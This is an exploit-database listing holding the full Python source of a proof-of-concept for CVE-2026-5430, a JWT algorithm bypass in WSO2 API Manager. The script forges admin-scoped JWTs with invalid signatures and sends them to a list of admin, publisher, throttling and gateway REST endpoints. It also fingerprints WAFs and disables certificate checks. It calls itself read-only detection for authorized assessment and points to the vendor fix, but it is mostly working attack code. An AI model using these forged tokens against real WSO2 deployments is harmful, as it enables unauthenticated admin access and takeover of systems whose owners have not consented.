Exploit database

GH-9160ba89d217412de9cd02f5b3931eae

davidvrns/cve-2026-5430-wso2

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-5430

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
davidvrns/cve-2026-5430-wso2Revision 27648e7429ef

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve_2026_5430_poc.py

Python · 37,743 bytes
#!/usr/bin/env python3
"""
CVE-2026-5430 / WSO2-2026-5328 — Detection PoC
================================================
Severity : Critical — CVSS 10.0 (multi-tenant) / 9.8 (single-tenant)
CWE      : CWE-347, CWE-703

Usage:
  python3 cve_2026_5430_poc.py [target]          # e.g. https://192.168.1.10:9443
  python3 cve_2026_5430_poc.py [target] --debug  # show raw response bodies

AUTHORIZED USE ONLY — read-only GET requests, no data modified.
Do not run against any system without explicit written authorization.
"""

from __future__ import annotations

import json
import ssl
import sys
import time
import urllib.error
import urllib.request
from base64 import urlsafe_b64encode
from dataclasses import dataclass, field

from rich.console import Console
from rich.padding import Padding
from rich.panel import Panel
from rich.progress import (
    BarColumn,
    MofNCompleteColumn,
    Progress,
    SpinnerColumn,
    TaskProgressColumn,
    TextColumn,
    TimeElapsedColumn,
)
from rich.rule import Rule
from rich.table import Table
from rich.text import Text
from rich.theme import Theme

# ---------------------------------------------------------------------------
# Args
# ---------------------------------------------------------------------------

args  = [a for a in sys.argv[1:] if not a.startswith("--")]
flags = [a for a in sys.argv[1:] if a.startswith("--")]

BASE  = (args[0] if args else "https://127.0.0.1:9443").rstrip("/")
DEBUG = "--debug" in flags

# ---------------------------------------------------------------------------
# Console
# ---------------------------------------------------------------------------

THEME = Theme({
    "info":          "bold cyan",
    "success":       "bold green",
    "warning":       "bold yellow",
    "danger":        "bold red",
    "muted":         "dim white",
    "label":         "bold white",
    "vector":        "cyan",
    "patch":         "green",
    "inconclusive":  "yellow",
    "vuln":          "bold red",
    "header":        "bold white on dark_blue",
    "diag":          "bold magenta",
})

console = Console(theme=THEME, highlight=False)

# ---------------------------------------------------------------------------
# Probe paths
# ---------------------------------------------------------------------------

@dataclass
class Probe:
    path:         str
    product:      str
    api_version:  str
    witness_keys: tuple[str, ...] = field(default_factory=tuple)


PROBES: list[Probe] = [
    Probe("/api/am/admin/v4/tenant-config",
          "WSO2 API Manager / API Control Plane", "v4",
          ("enablemonetization", "keymanagers", "tenant")),
    Probe("/api/am/admin/v4/key-managers",
          "WSO2 API Manager / API Control Plane", "v4",
          ("list", "count", "keymanagers")),
    Probe("/api/am/admin/v4/throttling/policies/application",
          "WSO2 API Manager / API Control Plane", "v4",
          ("list", "count", "policies")),
    Probe("/api/am/admin/v3/tenant-config",
          "WSO2 API Manager / API Control Plane", "v3",
          ("enablemonetization", "keymanagers", "tenant")),
    Probe("/api/am/admin/v3/key-managers",
          "WSO2 API Manager / API Control Plane", "v3",
          ("list", "count", "keymanagers")),
    Probe("/api/am/admin/v2/tenant-config",
          "WSO2 API Manager", "v2",
          ("enablemonetization", "keymanagers", "tenant")),
    Probe("/api/am/admin/v2/key-managers",
          "WSO2 API Manager", "v2",
          ("list", "count", "keymanagers")),
    Probe("/api/am/admin/v1/tenant-config",
          "WSO2 API Manager", "v1",
          ("enablemonetization", "keymanagers", "tenant")),
    Probe("/api/am/publisher/v4/apis",
          "WSO2 API Manager / API Control Plane", "v4",
          ("list", "count", "apis")),
    Probe("/api/am/publisher/v3/apis",
          "WSO2 API Manager", "v3",
          ("list", "count", "apis")),
    Probe("/api/am/publisher/v2/apis",
          "WSO2 API Manager", "v2",
          ("list", "count", "apis")),
    Probe("/api/am/publisher/v1/apis",
          "WSO2 API Manager", "v1",
          ("list", "count", "apis")),
    Probe("/api/am/throttling/v1/policies/application",
          "WSO2 Traffic Manager", "v1",
          ("list", "count", "policies")),
    Probe("/api/am/throttling/v1/policies/subscription",
          "WSO2 Traffic Manager", "v1",
          ("list", "count", "policies")),
    Probe("/api/am/gateway/v2/apis",
          "WSO2 Universal Gateway", "v2",
          ("list", "count", "apis", "gatewayenvs")),
    Probe("/api/am/gateway/v1/apis",
          "WSO2 Universal Gateway", "v1",
          ("list", "count", "apis")),
]

# Known WSO2 endpoints that are intentionally unauthenticated — used in
# the diagnostic phase to confirm we are actually reaching WSO2
WSO2_ANON_PATHS = [
    "/api/am/admin/v4/settings",
    "/services/Version",
]

ISSUERS = [
    "https://localhost:9443/oauth2/token",
    "https://127.0.0.1:9443/oauth2/token",
]

CTX = ssl._create_unverified_context()

# ---------------------------------------------------------------------------
# JWT forgery
# ---------------------------------------------------------------------------

def _b64url(data: bytes) -> str:
    return urlsafe_b64encode(data).rstrip(b"=").decode("ascii")


def _b64url_decode(segment: str) -> dict | str:
    """Decode a base64url segment into a dict (JSON) or raw string."""
    import base64
    padding = 4 - len(segment) % 4
    padded  = segment + ("=" * (padding % 4))
    try:
        return json.loads(base64.urlsafe_b64decode(padded))
    except Exception:
        return base64.urlsafe_b64decode(padded).decode("utf-8", "replace")


def _jwt_parts(token: str) -> tuple[dict, dict, str]:
    """Return (header_dict, payload_dict, sig_b64) from a JWT string."""
    parts = token.split(".")
    header  = _b64url_decode(parts[0]) if len(parts) > 0 else {}
    payload = _b64url_decode(parts[1]) if len(parts) > 1 else {}
    sig     = parts[2]                 if len(parts) > 2 else ""
    return header, payload, sig


def _jwt_summary(token: str) -> str:
    """One-line human-readable summary of a JWT for display."""
    header, payload, sig = _jwt_parts(token)
    alg = header.get("alg", "?")
    kid = f"  kid={header['kid']}" if "kid" in header else ""
    iss = payload.get("iss", "?").replace("https://", "")
    sub = payload.get("sub", "?")
    return f"alg={alg}{kid}  sub={sub}  iss={iss}"


def _build_payload(iss: str) -> dict:
    now = int(time.time())
    return {
        "sub":   "admin",
        "iss":   iss,
        "exp":   now + 3600,
        "iat":   now,
        "nbf":   now - 60,
        "scope": "openid apim:admin apim:api_view apim:api_manage apim:admin_settings",
        "azp":   "cve-2026-5430-detection",
        "aud":   iss,
    }


def _token(header: dict, iss: str, sig: bytes = b"invalid_sig_detection_only") -> str:
    h = _b64url(json.dumps(header,              separators=(",", ":")).encode())
    p = _b64url(json.dumps(_build_payload(iss), separators=(",", ":")).encode())
    s = _b64url(sig)
    return f"{h}.{p}.{s}"


def forge_v1_hs256_no_kid(iss: str) -> str:
    return _token({"alg": "HS256", "typ": "JWT"}, iss)

def forge_v2_rs256_no_kid(iss: str) -> str:
    return _token({"alg": "RS256", "typ": "JWT"}, iss)

def forge_v3_hs256_with_kid(iss: str) -> str:
    return _token({"alg": "HS256", "typ": "JWT", "kid": "wso2apim"}, iss)


VECTORS: list[tuple[str, object]] = [
    ("V1  HS256 no-kid   (original CVE vector — alias overload)", forge_v1_hs256_no_kid),
    ("V2  RS256 no-kid   (patch boundary — RSA claim, bad sig)",  forge_v2_rs256_no_kid),
    ("V3  HS256 + kid    (kid routing branch — kid overload)",    forge_v3_hs256_with_kid),
]

TOTAL_CHECKS = len(PROBES) * len(VECTORS) * len(ISSUERS)

# ---------------------------------------------------------------------------
# HTTP
# ---------------------------------------------------------------------------

def _get(path: str, token: str | None = None) -> tuple[int, str, dict]:
    """Returns (status, body, response_headers)."""
    headers = {
        "Accept":     "application/json",
        "User-Agent": "CVE-2026-5430-Detection/1.0 (authorized assessment)",
    }
    if token:
        headers["Authorization"] = "Bearer " + token
    req = urllib.request.Request(BASE + path, method="GET", headers=headers)
    try:
        with urllib.request.urlopen(req, timeout=20, context=CTX) as resp:
            body = resp.read().decode("utf-8", "replace")
            return resp.status, body, dict(resp.headers)
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", "replace")
        return exc.code, body, dict(exc.headers) if exc.headers else {}
    except Exception as exc:  # noqa: BLE001
        return 0, str(exc), {}

# ---------------------------------------------------------------------------
# Response classifiers
# ---------------------------------------------------------------------------

def _is_vulnerable(status: int, body: str, witness_keys: tuple[str, ...]) -> bool:
    if status != 200:
        return False
    text = body.lstrip()
    if not (text.startswith("{") or text.startswith("[")):
        return False
    lowered = body.lower()
    if '"code":401' in lowered or "unauthenticated" in lowered:
        return False
    return any(k in lowered for k in witness_keys)


def _is_patch_confirmed(status: int, body: str) -> bool:
    if status not in (401, 403):
        return False
    lowered = body.lower()
    return any(ind in lowered for ind in (
        "access_token_invalid", "900901",
        "invalid credentials", "apimfault", '"code"',
    ))


# ---------------------------------------------------------------------------
# Diagnostic helpers
# ---------------------------------------------------------------------------

WAF_SIGNATURES: list[tuple[str, str]] = [
    ("x-sucuri-id",            "Sucuri WAF"),
    ("x-fw-hash",              "Fortinet FortiWeb"),
    ("x-waf-event-info",       "Barracuda WAF"),
    ("server: awselb",         "AWS ELB / WAF"),
    ("x-amzn-requestid",       "AWS API Gateway"),
    ("x-cdn",                  "CDN / Proxy"),
    ("cf-ray",                 "Cloudflare"),
    ("x-akamai-transformed",   "Akamai"),
    ("x-nginx-cache",          "Nginx cache layer"),
    ("via",                    "Reverse proxy (Via header)"),
    ("x-envoy-upstream",       "Envoy / Istio"),
    ("x-kong-upstream",        "Kong API Gateway"),
]

WSO2_SIGNATURES: list[tuple[str, str]] = [
    ("wso2",              "WSO2 string in body"),
    ("apimfault",         "WSO2 APIMFault error"),
    ("carbon",            "WSO2 Carbon platform"),
    ("am_admin_cookie",   "WSO2 admin cookie"),
    ("server: wso2",      "WSO2 Server header"),
]


def _detect_waf(headers: dict, body: str) -> list[str]:
    hits = []
    lowered_headers = {k.lower(): v.lower() for k, v in headers.items()}
    combined = " ".join(lowered_headers.keys()) + " " + " ".join(lowered_headers.values())
    combined += " " + body.lower()
    for sig, label in WAF_SIGNATURES:
        if sig.lower() in combined:
            hits.append(label)
    return hits


def _detect_wso2(headers: dict, body: str) -> list[str]:
    hits = []
    combined = " ".join(f"{k}: {v}" for k, v in headers.items()).lower() + " " + body.lower()
    for sig, label in WSO2_SIGNATURES:
        if sig.lower() in combined:
            hits.append(label)
    return hits

# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def main() -> None:

    # ── Header ──────────────────────────────────────────────────────────────
    console.print()
    console.print(Panel.fit(
        "[bold white]CVE-2026-5430 / WSO2-2026-5328[/]\n"
        "[dim]JWT Algorithm Bypass — Unauthenticated Account Takeover[/]\n\n"
        f"[label]Target   :[/] [cyan]{BASE}[/]\n"
        f"[label]Probes   :[/] {len(PROBES)} REST paths\n"
        f"[label]Vectors  :[/] {len(VECTORS)} (all within CVE-2026-5430 scope)\n"
        f"[label]Checks   :[/] {TOTAL_CHECKS} total\n"
        f"[label]Debug    :[/] {'on' if DEBUG else 'off  (use --debug to show raw responses)'}\n"
        f"[label]Method   :[/] GET only — read-only, no modifications made",
        title="[header] Detection PoC [/header]",
        border_style="blue",
        padding=(1, 2),
    ))
    console.print()

    # ════════════════════════════════════════════════════════════════════════
    # PHASE 0 — Diagnostic
    # Runs BEFORE attack checks to determine whether we are actually
    # reaching the WSO2 service, or whether something is intercepting.
    # ════════════════════════════════════════════════════════════════════════

    console.print(Rule("[diag]Phase 0 — Diagnostic[/diag]  [dim](confirming WSO2 is reachable)[/]"))
    console.print()

    diag_table = Table(show_header=True, header_style="bold white on dark_blue",
                       border_style="blue", expand=True, show_lines=True)
    diag_table.add_column("Check",    style="label", ratio=3)
    diag_table.add_column("Result",   ratio=5)
    diag_table.add_column("Detail",   style="dim", ratio=4)

    # Check 1 — TCP/TLS connectivity on port 9443
    con_status, con_body, con_hdrs = _get("/")
    if con_status == 0:
        diag_table.add_row(
            "Port 9443 reachable",
            Text("✗  UNREACHABLE", style="bold red"),
            con_body[:120],
        )
        console.print(Padding(diag_table, (0, 2)))
        console.print()
        console.print(Panel(
            "[bold red]Cannot reach target on port 9443.[/]\n\n"
            "[white]Possible causes:[/]\n"
            "  • WSO2 management plane is on a different port\n"
            "  • Firewall is blocking port 9443 from this host\n"
            "  • The management plane is on an internal VLAN not reachable here\n"
            "  • TLS certificate error (try adding --no-verify)\n\n"
            "[dim]The script cannot assess vulnerability without connectivity.[/]",
            title="[danger] Connectivity Failure [/danger]",
            border_style="red", padding=(1, 2),
        ))
        raise SystemExit(2)
    diag_table.add_row(
        "Port 9443 reachable",
        Text("✓  Connected", style="bold green"),
        f"HTTP {con_status}",
    )

    # Check 2 — WAF / proxy detection on root response
    waf_hits = _detect_waf(con_hdrs, con_body)
    if waf_hits:
        diag_table.add_row(
            "WAF / Proxy detection",
            Text("⚠  INTERCEPTOR DETECTED", style="bold yellow"),
            ", ".join(waf_hits),
        )
    else:
        diag_table.add_row(
            "WAF / Proxy detection",
            Text("–  None detected", style="dim"),
            "No known WAF signatures in headers",
        )

    # Check 3 — WSO2 fingerprint on known anon endpoint
    wso2_confirmed = False
    wso2_version   = "unknown"
    for anon_path in WSO2_ANON_PATHS:
        a_status, a_body, a_hdrs = _get(anon_path)
        wso2_hits = _detect_wso2(a_hdrs, a_body)
        if wso2_hits or a_status == 200:
            wso2_confirmed = True
            # Try to pull version string from /services/Version
            if "version" in a_body.lower() and a_status == 200:
                for line in a_body.splitlines():
                    if "version" in line.lower():
                        wso2_version = line.strip()[:60]
                        break
            break

    if wso2_confirmed:
        diag_table.add_row(
            "WSO2 fingerprint",
            Text("✓  WSO2 confirmed", style="bold green"),
            wso2_version,
        )
    else:
        diag_table.add_row(
            "WSO2 fingerprint",
            Text("✗  WSO2 NOT confirmed", style="bold red"),
            "No WSO2 signatures found on anon endpoints",
        )

    # Check 4 — Primary CVE endpoint control response
    primary_path   = "/api/am/admin/v4/tenant-config"
    p_status, p_body, p_hdrs = _get(primary_path)

    waf_on_primary = _detect_waf(p_hdrs, p_body)
    wso2_on_primary = _detect_wso2(p_hdrs, p_body)

    if p_status in (401, 403):
        diag_table.add_row(
            "Primary endpoint auth gate",
            Text(f"✓  HTTP {p_status} — auth-gated", style="bold green"),
            primary_path,
        )
    elif p_status == 200:
        diag_table.add_row(
            "Primary endpoint auth gate",
            Text(f"⚠  HTTP 200 — NO AUTH REQUIRED", style="bold red"),
            "Unauthenticated access without token",
        )
    elif p_status == 404:
        diag_table.add_row(
            "Primary endpoint auth gate",
            Text("–  HTTP 404 — not found", style="yellow"),
            "Product version may not have v4 admin API",
        )
    else:
        diag_table.add_row(
            "Primary endpoint auth gate",
            Text(f"?  HTTP {p_status}", style="yellow"),
            p_body[:80],
        )

    # Check 5 — WAF on primary endpoint specifically
    if waf_on_primary:
        diag_table.add_row(
            "WAF on primary endpoint",
            Text("⚠  INTERCEPTOR ON API PATH", style="bold yellow"),
            ", ".join(waf_on_primary),
        )
    elif wso2_on_primary:
        diag_table.add_row(
            "WAF on primary endpoint",
            Text("✓  Reaching WSO2 directly", style="bold green"),
            ", ".join(wso2_on_primary),
        )
    else:
        diag_table.add_row(
            "WAF on primary endpoint",
            Text("⚠  RESPONSE ORIGIN UNCLEAR", style="yellow"),
            "Neither WAF nor WSO2 signatures detected",
        )

    # Check 6 — Debug raw response dump
    if DEBUG:
        diag_table.add_row(
            "Raw response (primary path)",
            Text(f"HTTP {p_status}", style="cyan"),
            "",
        )

    console.print(Padding(diag_table, (0, 2)))
    console.print()

    # Show raw response in debug mode
    if DEBUG:
        console.print(Rule("[dim]Debug — Raw response: primary endpoint[/]"))
        console.print()
        hdrs_text = "\n".join(f"  {k}: {v}" for k, v in p_hdrs.items())
        console.print(Padding(
            f"[dim]Response headers:[/]\n{hdrs_text}\n\n"
            f"[dim]Response body (first 800 chars):[/]\n{p_body[:800]}",
            (0, 4),
        ))
        console.print()

    # ── Diagnostic verdict ───────────────────────────────────────────────────

    # Determine whether to continue with attack phase
    if not wso2_confirmed and not waf_on_primary:
        console.print(Panel(
            "[bold yellow]WSO2 could not be confirmed on this host and no WAF was detected.[/]\n\n"
            "[white]The script may be hitting the wrong port or path.[/]\n\n"
            "Common alternative ports in enterprise WSO2 deployments:\n"
            "  [cyan]8243[/]  — API Gateway HTTPS\n"
            "  [cyan]8280[/]  — API Gateway HTTP\n"
            "  [cyan]9444[/]  — API Manager Profile\n"
            "  [cyan]9763[/]  — Carbon HTTP\n\n"
            "Try:\n"
            "  [cyan]python3 cve_2026_5430_poc.py https://<host>:9443 --debug[/]\n"
            "  [cyan]python3 cve_2026_5430_poc.py https://<host>:8243 --debug[/]",
            title="[warning] Target Unclear [/warning]",
            border_style="yellow", padding=(1, 2),
        ))
        console.print()

    if waf_on_primary and p_status in (401, 403) and not wso2_on_primary:
        console.print(Panel(
            "[bold yellow]A WAF or proxy is intercepting requests before they reach WSO2.[/]\n\n"
            "[white]This is the most likely reason the script reports 'not vulnerable'\n"
            "while you are running a known-vulnerable product version.[/]\n\n"
            "[label]What this means:[/]\n"
            "  • The WAF is blocking the forged JWT tokens\n"
            "  • The underlying WSO2 instance may still be exploitable if the\n"
            "    WAF is misconfigured, bypassed, or taken offline\n"
            "  • A WAF block is a [bold]compensating control[/], not a patch\n\n"
            "[label]Recommended actions:[/]\n"
            "  1. Verify the actual WSO2 update level on the host directly:\n"
            "     [cyan]cat <wso2-home>/updates/config.json[/]\n"
            "     Look for: [cyan]update-level[/] — must be >= the fixed level\n"
            "  2. Apply PR #13752 patch regardless of WAF presence\n"
            "  3. Document WAF as compensating control, not remediation\n\n"
            f"[dim]Detected interceptor(s): {', '.join(waf_on_primary)}[/]",
            title="[warning] WAF / Proxy Masking Vulnerability [/warning]",
            border_style="yellow", padding=(1, 2),
        ))
        console.print()

    # ════════════════════════════════════════════════════════════════════════
    # PHASE 1 — Control sweep
    # ════════════════════════════════════════════════════════════════════════

    console.print(Rule("[info]Phase 1 — Control Sweep[/info]  [dim](no token)[/]"))
    console.print()

    gated_probes: list[Probe] = []
    tested = gated = 0

    with Progress(
        SpinnerColumn(),
        TextColumn("[progress.description]{task.description}"),
        BarColumn(bar_width=30),
        MofNCompleteColumn(),
        TimeElapsedColumn(),
        console=console,
    ) as progress:
        task = progress.add_task("[cyan]Sweeping endpoints…", total=len(PROBES))
        for probe in PROBES:
            progress.update(task, description=f"[cyan]Control  {probe.path}")
            c_status, c_body, c_hdrs = _get(probe.path)
            if c_status == 404:
                progress.advance(task)
                continue
            tested += 1
            if c_status in (401, 403):
                gated += 1
                gated_probes.append(probe)
            progress.advance(task)

    console.print()
    console.print(Padding(
        f"[label]Reachable paths :[/] {tested}   "
        f"[label]Auth-gated :[/] [green]{gated}[/]   "
        f"[label]Skipped (404) :[/] {len(PROBES) - tested}",
        (0, 2),
    ))
    console.print()

    if not gated_probes:
        console.print(Panel(
            "[bold yellow]No auth-gated endpoints found.[/]\n\n"
            "[white]Possible reasons:[/]\n"
            "  • Endpoints are returning non-401/403 (check --debug output)\n"
            "  • Product is not WSO2 API Manager on this port\n"
            "  • WAF is returning 200 for all paths (open proxy)\n"
            "  • Management plane is on a different port\n\n"
            "[dim]Run with --debug to inspect raw responses.[/]",
            border_style="yellow", padding=(1, 2),
        ))
        raise SystemExit(0)

    # ════════════════════════════════════════════════════════════════════════
    # PHASE 2 — Attack vectors
    # ════════════════════════════════════════════════════════════════════════

    console.print(Rule("[info]Phase 2 — CVE-2026-5430 Attack Vectors[/info]"))
    console.print()

    # ── Token manifest ───────────────────────────────────────────────────────
    # Generate and display every token that will be used before testing begins.
    # This gives full transparency on exactly what was sent to the target.

    manifest_table = Table(
        show_header=True, header_style="bold white on dark_blue",
        border_style="blue", expand=True, show_lines=True,
        title="[bold white]JWT Tokens Generated for This Assessment[/]",
        caption="[dim]All tokens carry an invalid signature — detection only[/]",
    )
    manifest_table.add_column("#",        style="dim",   width=3,  justify="right")
    manifest_table.add_column("Vector",   style="cyan",  ratio=2)
    manifest_table.add_column("Issuer",   style="white", ratio=2)
    manifest_table.add_column("Header",   style="yellow",ratio=2)
    manifest_table.add_column("Subject",  style="white", width=7)
    manifest_table.add_column("Scope",    style="dim",   ratio=3)
    manifest_table.add_column("Signature",style="red",   ratio=2)
    manifest_table.add_column("Token (truncated)", style="dim", ratio=4)

    token_manifest: list[tuple[str, str, str, str]] = []  # (label, iss, token, vkey)
    idx = 1
    for label, forge_fn in VECTORS:
        vshort = label.split("(")[0].strip()
        for iss in ISSUERS:
            token = forge_fn(iss)
            hdr, pay, sig = _jwt_parts(token)
            token_manifest.append((label, iss, token, vshort))

            # Header display: show alg + kid if present
            hdr_str = f"alg={hdr.get('alg','?')}"
            if "kid" in hdr:
                hdr_str += f"\nkid={hdr['kid']}"

            # Scope display: break into lines
            scope_str = pay.get("scope", "").replace(" ", "\n")

            # Signature display: first 20 chars of the b64 + label
            sig_display = f"{sig[:20]}…\n[dim](invalid — detection only)[/]"

            # Token: first 30 + last 8 chars
            tok_display = f"{token[:30]}…{token[-8:]}"

            manifest_table.add_row(
                str(idx),
                vshort,
                iss.replace("https://", ""),
                hdr_str,
                pay.get("sub", "?"),
                scope_str,
                sig_display,
                tok_display,
            )
            idx += 1

    console.print(Padding(manifest_table, (0, 2)))
    console.print()

    findings: list[dict] = []
    patch_confirmed_paths = 0
    total_attack = len(gated_probes) * len(VECTORS) * len(ISSUERS)

    with Progress(
        SpinnerColumn(),
        TextColumn("[progress.description]{task.description}"),
        BarColumn(bar_width=30),
        TaskProgressColumn(),
        MofNCompleteColumn(),
        TimeElapsedColumn(),
        console=console,
    ) as progress:
        overall    = progress.add_task("[cyan]Overall progress", total=total_attack)
        probe_task = progress.add_task("[dim]Current probe",    total=len(gated_probes))

        for probe in gated_probes:
            progress.update(probe_task, description=f"[dim]Probe  {probe.path}")
            path_patched = False

            for label, forge_fn in VECTORS:
                for iss in ISSUERS:
                    short_iss = iss.replace("https://", "").split(":")[0]
                    progress.update(
                        overall,
                        description=(
                            f"[cyan]{label.split('(')[0].strip()}  "
                            f"[dim]{probe.path}  [{short_iss}]"
                        ),
                    )
                    token = forge_fn(iss)
                    tok_summary = _jwt_summary(token)
                    progress.update(
                        overall,
                        description=(
                            f"[cyan]{label.split('(')[0].strip()}[/]  "
                            f"[dim]{tok_summary}[/]"
                        ),
                    )
                    a_status, a_body, a_hdrs = _get(probe.path, token)

                    if DEBUG:
                        console.log(
                            f"[dim]{label} [{short_iss}] → HTTP {a_status}[/]\n"
                            f"[dim]Token : {token[:80]}…[/]\n"
                            f"[dim]Decoded: {tok_summary}[/]\n"
                            f"[dim]Body  : {a_body[:300]}[/]"
                        )

                    if _is_vulnerable(a_status, a_body, probe.witness_keys):
                        hdr, pay, sig = _jwt_parts(token)
                        findings.append({
                            "path":         probe.path,
                            "product":      probe.product,
                            "version":      probe.api_version,
                            "vector":       label,
                            "issuer":       iss,
                            "status":       a_status,
                            "snippet":      a_body[:300].strip(),
                            "token":        token,
                            "jwt_header":   hdr,
                            "jwt_payload":  pay,
                            "jwt_sig":      sig,
                        })
                    elif _is_patch_confirmed(a_status, a_body):
                        path_patched = True

                    progress.advance(overall)

            if path_patched and not any(f["path"] == probe.path for f in findings):
                patch_confirmed_paths += 1
            progress.advance(probe_task)

    console.print()

    # ════════════════════════════════════════════════════════════════════════
    # PHASE 3 — Results table
    # ════════════════════════════════════════════════════════════════════════

    console.print(Rule("[info]Phase 3 — Per-Path Results[/info]"))
    console.print()

    results_table = Table(
        show_header=True, header_style="bold white on dark_blue",
        border_style="blue", expand=True, show_lines=True,
    )
    results_table.add_column("Path",          style="cyan",  no_wrap=False, ratio=4)
    results_table.add_column("Product",       style="white", no_wrap=False, ratio=3)
    results_table.add_column("V1\nHS256",     justify="center", ratio=1)
    results_table.add_column("V2\nRS256",     justify="center", ratio=1)
    results_table.add_column("V3\nHS256+kid", justify="center", ratio=1)
    results_table.add_column("Status",        justify="center", ratio=1)

    path_vuln_vectors: dict[str, set] = {}
    for f in findings:
        path_vuln_vectors.setdefault(f["path"], set()).add(f["vector"])

    for probe in gated_probes:
        vuln_set = path_vuln_vectors.get(probe.path, set())
        cells = []
        for label, _ in VECTORS:
            if label in vuln_set:
                cells.append(Text("✗ BYPASS", style="bold red"))
            elif patch_confirmed_paths > 0 and probe.path not in path_vuln_vectors:
                cells.append(Text("✓ Patched", style="green"))
            else:
                cells.append(Text("– Rejected", style="yellow"))

        if vuln_set:
            status_cell = Text("VULNERABLE", style="bold red")
        elif probe.path not in path_vuln_vectors and patch_confirmed_paths > 0:
            status_cell = Text("PATCHED", style="bold green")
        else:
            status_cell = Text("INCONCLUSIVE", style="yellow")

        results_table.add_row(
            probe.path,
            f"{probe.product}\n[dim]({probe.api_version})[/]",
            *cells,
            status_cell,
        )

    console.print(Padding(results_table, (0, 2)))
    console.print()

    # ── Summary ─────────────────────────────────────────────────────────────
    console.print(Rule("[info]Summary[/info]"))
    console.print()

    summary = Table(show_header=False, box=None, padding=(0, 2))
    summary.add_column(style="label", no_wrap=True)
    summary.add_column(style="white")
    summary.add_row("Paths tested",                str(tested))
    summary.add_row("Auth-gated paths",            str(gated))
    summary.add_row("Patch confirmed (ErrorDTO)",  str(patch_confirmed_paths))
    summary.add_row(
        "CVE-2026-5430 findings",
        Text(str(len(findings)), style="bold red" if findings else "bold green"),
    )
    console.print(Padding(summary, (0, 2)))
    console.print()

    # ── Verdict ─────────────────────────────────────────────────────────────
    if findings:
        for idx, f in enumerate(findings, 1):
            hdr  = f.get("jwt_header",  {})
            pay  = f.get("jwt_payload", {})
            sig  = f.get("jwt_sig",     "")
            tok  = f.get("token",       "")

            # Break token into its three segments for display
            tok_parts = tok.split(".")
            tok_hdr   = tok_parts[0] if len(tok_parts) > 0 else ""
            tok_pay   = tok_parts[1] if len(tok_parts) > 1 else ""
            tok_sig   = tok_parts[2] if len(tok_parts) > 2 else ""

            detail = (
                f"[label]Path       :[/] [cyan]{f['path']}[/]\n"
                f"[label]Product    :[/] {f['product']} ({f['version']})\n"
                f"[label]Vector     :[/] {f['vector']}\n"
                f"[label]HTTP       :[/] [red]{f['status']}[/]\n"
                f"[label]Evidence   :[/] [dim]{f['snippet'][:200]}[/]\n"
                f"\n"
                f"[bold white]── JWT Token Used ──────────────────────────────────────[/]\n"
                f"[label]Full token :[/] [dim]{tok[:60]}[/]\n"
                f"             [dim]{tok[60:120]}[/]\n"
                f"             [dim]{tok[120:180]}[/]\n"
                f"             [dim]…{tok[-20:]}[/]\n"
                f"\n"
                f"[bold white]── Decoded Header ──[/]\n"
                f"[yellow]{json.dumps(hdr, indent=2)}[/]\n"
                f"\n"
                f"[bold white]── Decoded Payload ─[/]\n"
                f"[cyan]{json.dumps(pay, indent=2)}[/]\n"
                f"\n"
                f"[bold white]── Signature ───────[/]\n"
                f"[red]{sig}[/]  [dim](invalid — detection only)[/]\n"
                f"\n"
                f"[bold white]── Segments ────────[/]\n"
                f"[label]Header  :[/] [dim]{tok_hdr}[/]\n"
                f"[label]Payload :[/] [dim]{tok_pay}[/]\n"
                f"[label]Sig     :[/] [dim]{tok_sig}[/]"
            )
            console.print(Panel(
                detail,
                title=f"[vuln] Finding #{idx} — CVE-2026-5430 Confirmed [/vuln]",
                border_style="red", padding=(1, 2),
            ))
            console.print()
        console.print(Panel(
            "[bold white]Apply the relevant WSO2 update level:[/]\n"
            "[cyan]https://security.docs.wso2.com/en/latest/security-announcements/"
            "security-advisories/2026/WSO2-2026-5328/[/]",
            title="[danger] Remediation [/danger]",
            border_style="red", padding=(1, 2),
        ))

    elif patch_confirmed_paths > 0:
        console.print(Panel(
            "[bold green]All CVE-2026-5430 vectors rejected with ErrorDTO responses.[/]\n"
            "[white]The PR #13752 patch appears to be active.[/]\n\n"
            "[dim]This only confirms CVE-2026-5430 is patched. Separate assessments\n"
            "may identify other vulnerabilities on this host.[/]",
            title="[patch] Result: PATCHED [/patch]",
            border_style="green", padding=(1, 2),
        ))

    else:
        console.print(Panel(
            "[bold yellow]All vectors were rejected — but no WSO2 ErrorDTO was observed.[/]\n\n"
            "[white]This is INCONCLUSIVE, not SAFE.[/] The most common causes:[/]\n\n"
            "  [yellow]1. WAF / reverse proxy intercepting the forged JWTs[/]\n"
            "     The underlying WSO2 instance may still be exploitable.\n\n"
            "  [yellow]2. Script is not reaching the WSO2 management plane directly[/]\n"
            "     Try running the script from inside the server network.\n\n"
            "  [yellow]3. Different port or path in this deployment[/]\n"
            "     Try --debug to inspect raw responses.\n\n"
            "[label]To confirm patch status independently of this script:[/]\n"
            "  On the WSO2 host, run:\n"
            "  [cyan]cat <WSO2_HOME>/updates/config.json | grep update-level[/]\n"
            "  Compare against the fixed update levels in the advisory.\n\n"
            "[dim]Run with --debug for full response body inspection.[/]",
            title="[inconclusive] Result: INCONCLUSIVE — Verify Manually [/inconclusive]",
            border_style="yellow", padding=(1, 2),
        ))

    console.print()
    raise SystemExit(1 if findings else 0)


if __name__ == "__main__":
    main()